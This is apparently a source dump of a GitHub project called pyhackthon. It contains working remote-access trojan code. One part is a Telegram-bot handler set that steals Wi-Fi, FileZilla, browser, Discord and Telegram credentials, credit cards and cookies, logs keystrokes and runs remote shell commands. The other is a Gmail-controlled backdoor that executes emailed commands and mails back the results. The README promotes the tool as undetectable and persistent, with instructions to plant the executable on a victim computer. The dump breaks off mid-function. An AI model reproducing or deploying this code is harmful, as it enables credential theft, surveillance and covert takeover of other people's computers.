@bot.message_handler(regexp='/ZipBomb') 1817 | def ZipBomb(command): 1818 | 1819 | bot.send_message(command.chat.id, '_Preparing ZipBomb..._', parse_mode='Markdown') 1820 | Zipbomb() 1821 | 1822 | 1823 | # Gets Wifi Password 1824 | 1825 | @bot.message_handler(regexp='/WiFi') 1826 | def WiFi(command): 1827 | try: 1828 | 1829 | bot.send_message(command.chat.id, 1830 | '_Received Wi-Fi Data_' 1831 | '\n' 1832 | '\n*SSID* » `' + StealWifiPasswords()['SSID'] + '`' + 1833 | '\n*AUTH* » `' + StealWifiPasswords()['AUTH'] + '`' + 1834 | '\n*Cipher* » `' + StealWifiPasswords()['Cipher'] + '`' + 1835 | '\n*Security Key* » `' + StealWifiPasswords()['SecurityKey'] + '`' + 1836 | '\n*Password* » `' + StealWifiPasswords()['Password'] + '`', 1837 | parse_mode='Markdown') 1838 | 1839 | except: 1840 | bot.reply_to(command, '_Failed to authenticate Wi-Fi._', parse_mode='Markdown') 1841 | 1842 | 1843 | # Gets FileZilla Password 1844 | 1845 | @bot.message_handler(regexp='/FileZilla') 1846 | def FileZilla(command): 1847 | try: 1848 | 1849 | bot.send_message(command.chat.id, 1850 | '_Received FileZilla Data_' 1851 | '\n' 1852 | '\n*Hostname* » `' + StealFileZilla()['Hostname'] + '`' + 1853 | '\n*Username* » `' + StealFileZilla()['Username'] + '`' + 1854 | '\n*Password* » `' + StealFileZilla()['Password'] + '`', 1855 | parse_mode='Markdown') 1856 | 1857 | except: 1858 | bot.reply_to(command, '_FileZilla not installed._', parse_mode='Markdown') 1859 | 1860 | 1861 | # Gets Discord Token 1862 | 1863 | @bot.message_handler(regexp='/Discord') 1864 | def Discord(command): 1865 | try: 1866 | 1867 | bot.send_message(command.chat.id, '*Discord Token*\n\n`' + DiscordToken() + '`', parse_mode='Markdown') 1868 | 1869 | except: 1870 | bot.reply_to(command, '_Discord not installed._', parse_mode='Markdown') 1871 | 1872 | 1873 | # Gets the user current telegram session 1874 | 1875 | @bot.message_handler(regexp='/Telegram') 1876 | def Telegram(command): 1877 | try: 1878 | 1879 | bot.send_chat_action(command.chat.id, 'upload_document') 1880 | 1881 | TelegramSession(Directory) 1882 | Telegram = open(Directory + 'tdata.zip', 'rb') 1883 | 1884 | bot.send_document(command.chat.id, Telegram) 1885 | 1886 | except: 1887 | bot.reply_to(command, '_Telegram not installed._', parse_mode='Markdown') 1888 | 1889 | 1890 | # Retrieves saved passwords from browsers (Opera, Chrome) 1891 | 1892 | @bot.message_handler(regexp='/CreditCards') 1893 | def CreditCards(command): 1894 | try: 1895 | 1896 | bot.send_chat_action(command.chat.id, 'upload_document') 1897 | 1898 | with open(Directory + 'CreditCards.txt', 'w', encoding='utf-8') as f: 1899 | f.writelines(GetFormattedCreditCards()) 1900 | 1901 | CreditCards = open(Directory + 'CreditCards.txt', 'rb') 1902 | bot.send_document(command.chat.id, CreditCards) 1903 | 1904 | except: 1905 | bot.reply_to(command, '_CreditCards not found._', parse_mode='Markdown') 1906 | 1907 | 1908 | # Retrieves saved passwords from browsers (Opera, Chrome) 1909 | 1910 | @bot.message_handler(regexp='/Bookmarks') 1911 | def Bookmarks(command): 1912 | try: 1913 | 1914 | bot.send_chat_action(command.chat.id, 'upload_document') 1915 | 1916 | with open(Directory + 'Bookmarks.txt', 'w', encoding='utf-8') as f: 1917 | f.writelines(GetFormattedBookmarks()) 1918 | 1919 | Bookmarks = open(Directory + 'Bookmarks.txt', 'rb') 1920 | bot.send_document(command.chat.id, Bookmarks) 1921 | 1922 | except: 1923 | bot.reply_to(command, '_Bookmarks not found._', parse_mode='Markdown') 1924 | 1925 | 1926 | # Retrieves saved passwords from browsers (Opera, Chrome) 1927 | 1928 | @bot.message_handler(regexp='/Passwords') 1929 | def Passwords(command): 1930 | try: 1931 | 1932 | bot.send_chat_action(command.chat.id, 'upload_document') 1933 | 1934 | with open(Directory + 'Passwords.txt', 'w', encoding='utf-8') as f: 1935 | f.writelines(GetFormattedPasswords()) 1936 | 1937 | Passwords = open(Directory + 'Passwords.txt', 'rb') 1938 | bot.send_document(command.chat.id, Passwords) 1939 | 1940 | except: 1941 | bot.reply_to(command, '_Passwords not found._', parse_mode='Markdown') 1942 | 1943 | 1944 | # Retrieves saved cookies from browsers (Opera, Chrome) 1945 | 1946 | @bot.message_handler(regexp='/Cookies') 1947 | def Cookies(command): 1948 | try: 1949 | 1950 | bot.send_chat_action(command.chat.id, 'upload_document') 1951 | 1952 | with open(Directory + 'Cookies.txt', 'w', encoding='utf-8') as f: 1953 | f.writelines(GetFormattedCookies()) 1954 | 1955 | Cookies = open(Directory + 'Cookies.txt', 'rb') 1956 | bot.send_document(command.chat.id, Cookies) 1957 | 1958 | except: 1959 | bot.reply_to(command, '_Cookies not found._', parse_mode='Markdown') 1960 | 1961 | 1962 | # Gets saved browser history (Opera, Chrome) 1963 | 1964 | @bot.message_handler(regexp='/History') 1965 | def History(command): 1966 | try: 1967 | 1968 | bot.send_chat_action(command.chat.id, 'upload_document') 1969 | 1970 | with open(Directory + 'History.txt', 'w', encoding='utf-8') as f: 1971 | f.writelines(GetFormattedHistory()) 1972 | 1973 | History = open(Directory + 'History.txt', 'rb') 1974 | bot.send_document(command.chat.id, History) 1975 | 1976 | except: 1977 | bot.reply_to(command, '_History not found._', parse_mode='Markdown') 1978 | 1979 | 1980 | # Editing and viewing the clipboard 1981 | 1982 | @bot.message_handler(regexp='/Clipboard') 1983 | def Clipboard(command): 1984 | try: 1985 | 1986 | Text = re.split('/Clipboard ', command.text, flags=re.I)[1] 1987 | SetClipboard(Text) 1988 | bot.reply_to(command, '_Clipboard contents changed!_', parse_mode='Markdown') 1989 | 1990 | except: 1991 | bot.send_message(command.chat.id, 1992 | '_Enter your text_' 1993 | '\n' 1994 | '\n*› /Clipboard*' 1995 | '\n' 1996 | '\n_Clipboard Content_' 1997 | '\n' 1998 | '\n`' + GetClipboard() + '`', 1999 | parse_mode='Markdown') 2000 | 2001 | # Receive Keylogs 2002 | 2003 | @bot.message_handler(regexp='/Keylogger') 2004 | def Keylogger(command): 2005 | try: 2006 | 2007 | bot.send_chat_action(command.chat.id, 'upload_document') 2008 | Keylogs = open(os.getenv('Temp') + '\\Keylogs.txt', 'rb') 2009 | bot.send_document(command.chat.id, Keylogs) 2010 | 2011 | except: 2012 | bot.send_message(command.chat.id, '_No keylogs recorded._', parse_mode='Markdown') 2013 | 2014 | 2015 | 2016 | # @bot.message_handler(regexp='/SendKeys') 2017 | # def SendKeys(command): 2018 | # try: 2019 | 2020 | # Text = re.split('/SendKeys ', command.text, flags=re.I)[1] 2021 | # bot.send_message(command.chat.id, '_Sending keys..._', parse_mode='Markdown') 2022 | # SendKeyPress(Text) 2023 | # bot.reply_to(command, '_Text successfully typed!_', parse_mode='Markdown') 2024 | 2025 | # except: 2026 | # bot.send_message(command.chat.id, '_Enter your text_\n\n*› /SendKeys*', parse_mode='Markdown') 2027 | 2028 | 2029 | # Display Rotate <0,90,180,270> 2030 | 2031 | # @bot.message_handler(regexp='/Rotate') 2032 | # def Rotate(command): 2033 | # try: 2034 | 2035 | # Position = re.split('/Rotate ', command.text, flags=re.I)[1] 2036 | # DisplayRotate(Degrees=Position) 2037 | # bot.reply_to(command, '_The Display has been rotated!_', parse_mode='Markdown') 2038 | 2039 | # except: 2040 | # bot.send_message(command.chat.id, 2041 | # '_Select display rotation_' 2042 | # '\n' 2043 | # '\n*› /Rotate*' 2044 | # '\n' 2045 | # '\n_Provisions_' 2046 | # '\n' 2047 | # '\n`0` / `90` / `180` / `270`', 2048 | # parse_mode='Markdown') 2049 | 2050 | 2051 | # Audio volume control 2052 | 2053 | @bot.message_handler(regexp='/Volume') 2054 | def Volume(command): 2055 | try: 2056 | 2057 | Level = re.split('/Volume ', command.text, flags=re.I)[1] 2058 | VolumeControl(Level) 2059 | bot.send_message(command.chat.id, '_Audio volume set to_ *' + Level + '* _level!_', parse_mode='Markdown') 2060 | 2061 | except ValueError: 2062 | bot.send_message(command.chat.id, '_Specify the volume level in numbers_', parse_mode='Markdown') 2063 | 2064 | except: 2065 | bot.send_message(command.chat.id, '_Specify the audio volume_\n\n*› /Volume*', parse_mode='Markdown') 2066 | 2067 | 2068 | # # Monitor 2069 | 2070 | # @bot.message_handler(regexp='/Monitor') 2071 | # def Monitor(command): 2072 | # try: 2073 | 2074 | # Monitor = re.split('/Monitor ', command.text, flags=re.I)[1] 2075 | 2076 | # if Monitor.lower() == 'Off'.lower(): 2077 | # Off() 2078 | # bot.reply_to(command, '_The Monitor has been Off_', parse_mode='Markdown') 2079 | 2080 | # if Monitor.lower() == 'On'.lower(): 2081 | # On() 2082 | # bot.reply_to(command, '_The Monitor has been On_', parse_mode='Markdown') 2083 | 2084 | # except: 2085 | # bot.send_message(command.chat.id, 2086 | # '_Select monitor mode_' 2087 | # '\n' 2088 | # '\n*› /Monitor*' 2089 | # '\n' 2090 | # '\n_Modes_' 2091 | # '\n' 2092 | # '\n`On` / `Off`', 2093 | # parse_mode='Markdown') 2094 | 2095 | # Lock input (keyboard and mouse) for the selected number of seconds 2096 | 2097 | 2098 | # @bot.message_handler(regexp='/Freeze') 2099 | # def Freeze(command): 2100 | 2101 | # if Admin() is False: 2102 | # bot.send_message(command.chat.id, '_This function requires admin rights._', parse_mode='Markdown') 2103 | 2104 | # if Admin() is True: 2105 | # try: 2106 | 2107 | # Seconds = re.split('/Freeze ', command.text, flags=re.I)[1] 2108 | # bot.send_message(command.chat.id, '_Keyboard and mouse locked for_ *' + Seconds + '* _seconds!_', parse_mode='Markdown') 2109 | # Block(float(Seconds)) 2110 | # bot.reply_to(command, '_Keyboard and mouse are now unlocked!_', parse_mode='Markdown') 2111 | 2112 | # except ValueError: 2113 | # bot.reply_to(command, '_Specify the duration of the lock in seconds._', parse_mode='Markdown') 2114 | 2115 | # except: 2116 | # bot.send_message(command.chat.id, '_Specify the duration of the lock_\n\n*› /Freeze*', parse_mode='Markdown') 2117 | 2118 | 2119 | # ADVANCE INFO 2120 | 2121 | @bot.message_handler(regexp='/advanceinfo') 2122 | def advanceinfo(command): 2123 | try: 2124 | adds = ADDONS() 2125 | info = adds.info() 2126 | bot.send_chat_action(command.chat.id, 'upload_document') 2127 | 2128 | infotxt = open(os.getenv('Temp') + '\\info.txt', 'w') 2129 | infotxt.write(info) 2130 | infotxt.close() 2131 | tosendtxt = open(os.getenv('Temp') + '\\info.txt', 'r') 2132 | bot.send_document(command.chat.id, tosendtxt) 2133 | os.remove(os.getenv('Temp') + '\\info.txt') 2134 | 2135 | except: 2136 | bot.send_message(command.chat.id, 'sorry unable to send advance info ',parse_mode='Markdown') 2137 | 2138 | 2139 | # Remote command execution (CMD) 2140 | 2141 | @bot.message_handler(regexp='/CMD') 2142 | def CMD(command): 2143 | try: 2144 | 2145 | Command = re.split('/CMD ', command.text, flags=re.I)[1] 2146 | CMD = subprocess.Popen(Command, 2147 | shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE) 2148 | 2149 | Lines = [] 2150 | for Line in CMD.stdout.readlines(): 2151 | Line = Line.strip() 2152 | if Line: 2153 | Lines.append(Line.decode('cp866')) 2154 | Output = '\n'.join(Lines) 2155 | 2156 | bot.send_message(command.chat.id, Output) 2157 | 2158 | except: 2159 | try: 2160 | 2161 | Command = re.split('/CMD ', command.text, flags=re.I)[1] 2162 | SplittedText = telebot.util.split_string(Output, 4096) 2163 | for Output in SplittedText: 2164 | 2165 | bot.send_message(command.chat.id, Output) 2166 | 2167 | except UnboundLocalError: 2168 | bot.reply_to(command, '_Command completed!_', parse_mode='Markdown') 2169 | 2170 | except: 2171 | bot.send_message(command.chat.id, '_Enter your command_\n\n*› /CMD*', parse_mode='Markdown') 2172 | 2173 | 2174 | # Remote command execution (BAT) 2175 | 2176 | @bot.message_handler(regexp='/BAT') 2177 | def BAT(command): 2178 | try: 2179 | 2180 | Command = re.split('/BAT ', command.text, flags=re.I)[1] 2181 | File = Directory + 'Command.bat' 2182 | BatchFile = open(File, 'w').write(Command) 2183 | 2184 | if Admin() is False: 2185 | os.startfile(File) 2186 | 2187 | if Admin() is True: 2188 | os.startfile(File, 'runas') 2189 | 2190 | bot.reply_to(command, '_Command completed!_', parse_mode='Markdown') 2191 | 2192 | except: 2193 | bot.send_message(command.chat.id, '_Enter your command_\n\n*› /BAT*', parse_mode='Markdown') 2194 | 2195 | 2196 | # Getting location by BSSID 2197 | 2198 | @bot.message_handler(regexp='/Location') 2199 | def Location(command): 2200 | try: 2201 | 2202 | bot.send_chat_action(command.chat.id, 'find_location') 2203 | Coordinates = GetLocationByBSSID(GetMacByIP()) 2204 | Latitude = Coordinates['lat'] 2205 | Longitude = Coordinates['lon'] 2206 | bot.send_location(command.chat.id, Latitude, Longitude) 2207 | bot.send_message(command.chat.id, 2208 | '_Location_' 2209 | '\n' 2210 | '\n*IP Address* » `' + Geolocation('query') + '`' + 2211 | '\n*Country* » `' + Geolocation('country') + '`' + 2212 | '\n*City* » `' + Geolocation('city') + '`' + 2213 | '\n' 2214 | '\n*Latitude* » `' + str(Coordinates['lat']) + '`' + 2215 | '\n*Longitude* » `' + str(Coordinates['lon']) + '`' + 2216 | '\n*Range* » `' + str(Coordinates['range']) + '`' + 2217 | '\n' 2218 | '\n*BSSID* » `' + GetMacByIP() + '`', 2219 | parse_mode='Markdown') 2220 | 2221 | except: 2222 | bot.send_message(command.chat.id, 2223 | '_Failed locate target by BSSID_' 2224 | '\n' 2225 | '\n*IP Address* » `' + Geolocation('query') + '`' + 2226 | '\n*Country* » `' + Geolocation('country') + '`' + 2227 | '\n*City* » `' + Geolocation('city') + '`' + 2228 | '\n' 2229 | '\n*BSSID* » `' + GetMacByIP() + '`', 2230 | parse_mode='Markdown') 2231 | 2232 | 2233 | # System Information 2234 | 2235 | @bot.message_handler(regexp='/Info') 2236 | def Info(command): 2237 | try: 2238 | 2239 | bot.send_chat_action(command.chat.id, 'typing') 2240 | bot.send_message(command.chat.id, 2241 | '\n_Computer Info_' 2242 | '\n' 2243 | '\n*System Version* » `' + Windows() + '`' + 2244 | '\n*Computer Name* » `' + str(Computer('ComputerSystem', 'Name')) + '`' + 2245 | '\n*Computer Model* » `' + str(Computer('ComputerSystem', 'Model')) + '`' + 2246 | '\n*Manufacturer* » `' + str(Computer('ComputerSystem', 'Manufacturer')) + '`' + 2247 | '\n*System Time* » `' + SystemTime() + '`' + 2248 | '\n*Username* » `' + os.getlogin() + '`' + 2249 | '\n' 2250 | '\n' 2251 | '\n_Hardware_' 2252 | '\n' 2253 | '\n*CPU* » `' + str(Computer('CPU', 'Name')) + '`' + 2254 | '\n*GPU* » `' + str(Computer('path Win32_VideoController', 'Name')) + '`' + 2255 | '\n*RAM* » `' + str(RAM()) + '`' + 2256 | '\n*ARM* » `' + platform.architecture()[0] + '`' + 2257 | '\n' 2258 | '\n' 2259 | '\n_Protection_' 2260 | '\n' 2261 | '\n*Started as Admin* » `' + str(Admin())+ '`' + 2262 | '\n*Process Protected* » `' + str(ProcessBSODProtectionEnabled) + '`' + 2263 | '\n*Installed Antivirus* » `' + Antivirus[0] + '`', 2264 | parse_mode='Markdown') 2265 | 2266 | except: 2267 | pass 2268 | 2269 | 2270 | # Command handler / help 2271 | 2272 | @bot.message_handler(commands=['Help', 'help']) 2273 | def Help(command): 2274 | bot.send_message(command.chat.id, 2275 | 'ᅠᅠᅠᅠ ⚙️ *Commands* ⚙️' 2276 | '\n' 2277 | '\n' 2278 | '\n*/Info* - _System Information_' 2279 | '\n*/advanceinfo* - _Advance System Information_' 2280 | '\n*/Location* - _Location by BSSID_' 2281 | '\n' 2282 | '\n*/Screen* - _Desktop Capture_' 2283 | '\n*/Webcam* - _Webcam Capture_' 2284 | '\n*/Audio* - _Sound Capture_' 2285 | '\n*/Power* - _Computer Power_' 2286 | '\n*/Autorun* - _Startup Management_' 2287 | '\n' 2288 | '\n*/Files* - _Files Manager_' 2289 | '\n› */CD* - _Change Directory_' 2290 | '\n› */ls* - _List of Files_' 2291 | '\n› */Remove* - _Remove a File_' 2292 | '\n› */Upload* - _Upload File_' 2293 | '\n› */Download* - _Download File_' 2294 | '\n› */Run* - _Run File_' 2295 | '\n*/Tasklist* - _Process list_' 2296 | '\n*/Taskkill* - _Process Kill_' 2297 | '\n' 2298 | '\n*/Message* - _Send Message_' 2299 | '\n*/Speak* - _Speak Message_' 2300 | '\n*/OpenURL* - _Open URL_' 2301 | '\n*/Wallpapers* - _Set Wallpapers_' 2302 | '\n' 2303 | '\n*/WiFi* - _Wi-Fi Data_' 2304 | '\n*/FileZilla* - _FTP Client_' 2305 | '\n*/Discord* - _Discord Token_' 2306 | '\n*/Telegram* - _Telegram Session_' 2307 | '\n*/CreditCards* - _Get CreditCards_' 2308 | '\n*/Bookmarks* - _Get Bookmarks_' 2309 | '\n*/Passwords* - _Get Passwords_' 2310 | '\n*/Cookies* - _Get Cookies_' 2311 | '\n*/History* - _Get History_' 2312 | '\n' 2313 | '\n*/ZipBomb* - _Memory Overflow_' 2314 | '\n*/ForkBomb* - _Launch Programs_' 2315 | '\n' 2316 | '\n*/Clipboard* - _Clipboard Editing_' 2317 | '\n*/Keylogger* - _Receive Keylogs_' 2318 | '\n*/Volume* - _Volume Control_' 2319 | '\n' 2320 | '\n*/CMD* - _Remote Shell_' 2321 | '\n*/BAT* - _Batch Scripting_' 2322 | '\n' 2323 | '\n', 2324 | #'\n*Coded by Bainky | @bainki 👾*', 2325 | reply_markup=menu, parse_mode='Markdown') 2326 | 2327 | 2328 | # Navigation buttons 2329 | 2330 | @bot.message_handler(commands=['3', '6']) 2331 | def Main(command): 2332 | bot.send_message(command.chat.id, '`...`', reply_markup=menu, parse_mode='Markdown') 2333 | 2334 | @bot.message_handler(commands=['2', '5']) 2335 | def Main(command): 2336 | bot.send_message(command.chat.id, '`...`', reply_markup=main5, parse_mode='Markdown') 2337 | 2338 | @bot.message_handler(commands=['4', '1']) 2339 | def Main(command): 2340 | bot.send_message(command.chat.id, '`...`', reply_markup=main8, parse_mode='Markdown') 2341 | 2342 | @bot.message_handler(commands=['Power', 'power']) 2343 | def Power(command): 2344 | bot.send_message(command.chat.id, '_Select an action_', reply_markup=main2, parse_mode='Markdown') 2345 | 2346 | @bot.message_handler(commands=['Autorun', 'autorun']) 2347 | def Autorun(command): 2348 | bot.send_message(command.chat.id, '_Select an action_', reply_markup=main3, parse_mode='Markdown') 2349 | 2350 | @bot.message_handler(commands=['Files', 'files']) 2351 | def Files(command): 2352 | bot.send_message(command.chat.id, '`...`', reply_markup=main7, parse_mode='Markdown') 2353 | 2354 | @bot.message_handler(commands=['Cancel']) 2355 | def CancelFiles(command): 2356 | bot.send_message(command.chat.id, '`...`', reply_markup=main5, parse_mode='Markdown') 2357 | 2358 | @bot.message_handler(commands=['Wallpapers', 'wallpapers']) 2359 | def Wallpapers(command): 2360 | bot.send_message(command.chat.id, '_Send photo which you would like to set on the Wallpapers_', parse_mode='Markdown') 2361 | 2362 | 2363 | try: 2364 | bot.polling(none_stop=True) 2365 | except: 2366 | os.startfile(CurrentPath) 2367 | sys.exit() 2368 | -------------------------------------------------------------------------------- /GIFS/REVERSESHELL.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siddhant385/pyhackthon/76d2713a8b96dfe0c8487ed22efab4ddc2312ddb/GIFS/REVERSESHELL.gif -------------------------------------------------------------------------------- /GIFS/compile.bat: -------------------------------------------------------------------------------- 1 | echo off 2 | 3 | pyinstaller --clean --hidden-import=pyttsx3.drivers --hidden-import=pyttsx3.drivers.sapi5 --onefile --noconsole RAT.py 4 | 5 | del /s /q /f RAT.spec 6 | rmdir /s /q __pycache__ 7 | rmdir /s /q build 8 | 9 | :cmd 10 | pause null 11 | -------------------------------------------------------------------------------- /GIFS/new.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /GIFS/requirements.bat: -------------------------------------------------------------------------------- 1 | echo off 2 | 3 | pip3 install pytelegrambotapi 4 | pip3 install pycryptodome 5 | pip3 install pyperclip 6 | pip3 install keyboard 7 | pip3 install pyttsx3 8 | pip3 install pywin32 9 | pip3 install pynput 10 | pip3 install mss 11 | 12 | pip3 install pyinstaller 13 | 14 | :cmd 15 | pause null 16 | -------------------------------------------------------------------------------- /GIFS/text.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siddhant385/pyhackthon/76d2713a8b96dfe0c8487ed22efab4ddc2312ddb/GIFS/text.gif -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Siddhant Sharma 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | 3 |

4 |

5 | 6 |

7 | 8 |

VERSION 2.00 🎉

9 |

10 | 11 |

12 | 13 | ----- 14 | # 🌟 FEATURES 🌟 15 | - 🕵️‍♂️ **FUD**: Fully Undetectable, because who likes being caught? 16 | - 🔄 **PERSISTENCE**: Sneakily stays put without admin rights. Shhh... 🤫 17 | - 🐚 **REVERSE SHELL**: Because sometimes, you need to be in two places at once. 18 | - 📸 **SCREENSHOT**: Let me see your Screen, and I’ll capture your best side! 19 | - 📤 **FILE UPLOAD**: Sending files like a pro, without leaving a trace. 📦 20 | - 📥 **FILE DOWNLOAD**: Bringing files to you, no strings attached. 📂 21 | 22 | 23 | ----- 24 | # 🔮 UPCOMING FEATURES 🔮 25 | - 🔒 **ENCRYPTED FOR BETTER AV EVASION**: Hide and seek just got serious. 26 | - 🤖 **AUTOMATION FOR INSTALLATION**: Let the robots do the work for you! 27 | 28 | ----- 29 | # 🛠 REQUIREMENTS 🛠 30 | - `requests`: Because you need a little help asking for stuff 🤔 31 | - `mss`: For when you need to capture that “aha!” moment 📸 32 | - `psutil`: : Your victim system’s personal trainer 🏋️ 33 | - `py-cpuinfo`: Know your CPU like you know your favorite coffee ☕ 34 | 35 | ----- 36 | 37 | # 🛠️ SETUP AND INSTALLATION 🛠️ 38 | 39 | 1. 🍴 **Clone This Repository**: Fork it, clone it, whatever you need to do. Just get it. 40 | 2. 📦 **Install The Requirements**: Dependencies, am I right? 41 | 3. ✉️ **Create A New Gmail Account**: Write its credentials in the `gmail.py` file on `USERNAME` and `PASSWORD`. No, not your personal email, you silly goose. 42 | 4. 🔓 **Enable Less Secured App**: Because we like living dangerously. 43 | 5. 📧 **Enter Your Email Account**: For viewing the results and for sending commands to `YOUR_MAIL`. 44 | 6. 🛠 **Convert It To Executable (EXE)**: PyInstaller is your friend. 45 | 7. 💻 **Insert It To Victim Computer**: *Insert evil laugh here*. 46 | 8. ⏳ **Wait 2 Minutes**: Then check your email. Magic! 47 | 9. 🔧 **Send CMD Commands To Execute**: Flex those hacking muscles. 48 | 10. 🏁 **Send `EXIT` Command For Exiting**: Because sometimes, you have to say goodbye. 49 | 11. 🥳 **Have A Nice Hacking**: Enjoy your new powers responsibly! 50 | 51 | ---------- 52 | 53 | # ⏳ WAIT FOR THE NEW FEATURES ⏳ 54 | 55 | ### ⚠️ Disclaimer ⚠️ 56 | Usage of this tool for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. 57 | 58 | ### ❤️ Supporters ❤️ 59 | [![Stargazers repo roster for @siddhant385/pyhackthon](https://reporoster.com/stars/siddhant385/pyhackthon)](https://github.com/siddhant385/pyhackthon/stargazers) 60 | """ 61 | 62 | -------------------------------------------------------------------------------- /externals/templates.py: -------------------------------------------------------------------------------- 1 | def create_html_content(system_info): 2 | html_content = f""" 3 | 4 | 5 | 6 | 7 | 8 | Welcome to Pyhackthon 9 | 78 | 79 | 80 |
81 |

💻 Welcome to Pyhackthon 🐍

82 |

Hello, Pyhackthon is at your service!

83 |
84 |

🔒 Please send cmd commands:

85 |

If you don't know a command, send me :help

86 |
87 |
88 |

📊 System Information:

89 |
{system_info}
90 |
91 | 92 |
93 | 94 |
95 | 96 | 97 | """ 98 | return html_content 99 | 100 | 101 | def shell(display): 102 | html_content = f""" 103 | 104 | 105 | 106 | 107 | 108 | Shell Terminal 109 | 151 | 152 | 153 |
154 |

$root#Shell Results:

155 |
156 | {display} 157 |
158 |
159 | 160 | 161 | """ 162 | return html_content 163 | -------------------------------------------------------------------------------- /externals/useless.py: -------------------------------------------------------------------------------- 1 | import platform 2 | 3 | 4 | def basic_systeminfo(): 5 | info = f"""Online🟢 and Ready 6 | Platform: {platform.platform()} 7 | Python Version: {platform.python_version()} 8 | Machine: {platform.machine()} 9 | Processor: {platform.processor()} 10 | Hostname: {platform.node()} 11 | System: {platform.system()} 12 | 13 | """ 14 | return info 15 | -------------------------------------------------------------------------------- /gmail.py: -------------------------------------------------------------------------------- 1 | #VERSION 2.00 2 | from email.mime.text import MIMEText 3 | from email.header import decode_header 4 | from email.mime.multipart import MIMEMultipart 5 | from email.mime.base import MIMEBase 6 | 7 | import imaplib 8 | import email 9 | import os 10 | import smtplib 11 | import subprocess 12 | import time 13 | 14 | #Mods 15 | from mods.screenshot import screenshot 16 | from mods.urlDownload import urlDownload 17 | from mods.systeminfo import systeminfo 18 | from mods.urlUploader import UrlUploader 19 | from mods.helper import Helper 20 | 21 | #Externals 22 | from externals.templates import create_html_content,shell 23 | from externals.useless import basic_systeminfo 24 | class EmailHandler: 25 | def __init__(self, username, password, your_mail): 26 | self.username = username 27 | self.password = password 28 | self.your_mail = your_mail 29 | self.imap_server = "imap.gmail.com" 30 | self.smtp_server = "smtp.gmail.com" 31 | self.smtp_port = 587 32 | 33 | def clean_text(self, text): 34 | return "".join(c if c.isalnum() else "_" for c in text) 35 | 36 | def login_imap(self): 37 | try: 38 | self.imap = imaplib.IMAP4_SSL(self.imap_server) 39 | self.imap.login(self.username, self.password) 40 | except Exception as e: 41 | print(e) 42 | self.login_imap() 43 | 44 | def fetch_emails(self, folder="INBOX", num_emails=1): 45 | self.imap.select(folder) 46 | status, messages = self.imap.search(None, f"(FROM '{self.your_mail}')") 47 | print(status) 48 | email_ids = messages[0].split()[-num_emails:] 49 | emails = [] 50 | for email_id in email_ids: 51 | res, msg = self.imap.fetch(email_id, "(RFC822)") 52 | for response in msg: 53 | if isinstance(response, tuple): 54 | emails.append(email.message_from_bytes(response[1])) 55 | return emails 56 | 57 | def logout_imap(self): 58 | self.imap.logout() 59 | 60 | def send_email(self, message,msgId="Somethingdifferent",reply=False): 61 | msg = MIMEMultipart() 62 | msg['From'] = self.username 63 | msg['To'] = self.your_mail 64 | if reply: 65 | msg['In-Reply-To'] = msgId 66 | msg['References'] = msgId 67 | try: 68 | with smtplib.SMTP(self.smtp_server, self.smtp_port) as server: 69 | server.starttls() 70 | server.login(self.username, self.password) 71 | msg.attach(MIMEText(message, 'html')) 72 | server.send_message(msg) 73 | except Exception as e: 74 | print(f"Failed to send email: {e}") 75 | else: 76 | try: 77 | with smtplib.SMTP(self.smtp_server, self.smtp_port) as server: 78 | server.starttls() 79 | server.login(self.username, self.password) 80 | msg.attach(MIMEText(message, 'html')) 81 | server.send_message(msg) 82 | 83 | except Exception as e: 84 | print(f"Failed to send email: {e}") 85 | 86 | def send_file(self,file,filename,msgId=False,message="File Below"): 87 | msg = MIMEMultipart() 88 | msg['From'] = self.username 89 | msg['To'] = self.your_mail 90 | if msgId: 91 | msg['In-Reply-To'] = msgId 92 | msg['References'] = msgId 93 | msg.attach(MIMEText(message, 'plain')) 94 | part = MIMEBase('application', 'octet-stream') 95 | part.set_payload(file) 96 | email.encoders.encode_base64(part) 97 | part.add_header( 98 | 'Content-Disposition', 99 | f'attachment; filename={filename}', 100 | ) 101 | 102 | try: 103 | with smtplib.SMTP(self.smtp_server, self.smtp_port) as server: 104 | server.starttls() 105 | server.login(self.username, self.password) 106 | msg.attach(part) 107 | server.send_message(msg) 108 | except Exception as e: 109 | print(f"Failed to send email: {e}") 110 | 111 | 112 | 113 | class CommandHandler: 114 | def __init__(self, email_handler): 115 | self.email_handler = email_handler 116 | self.msgId = "" 117 | 118 | def execute_command(self, command): 119 | try: 120 | output = subprocess.getoutput(command) 121 | msg = shell(output) 122 | self.email_handler.send_email(message=msg,msgId=self.msgId,reply=True) 123 | except Exception as e: 124 | print(f"Command execution failed: {e}") 125 | 126 | def process_email_commands(self, emails): 127 | for msg in emails: 128 | From,encoding = decode_header(msg.get("From"))[0] 129 | msgId,encoding = decode_header(msg.get("Message-Id"))[0] 130 | if self.msgId == msgId: 131 | return 132 | else: 133 | self.msgId = msgId 134 | if isinstance(From, bytes): 135 | From = From.decode(encoding or "utf-8") 136 | # msgId = 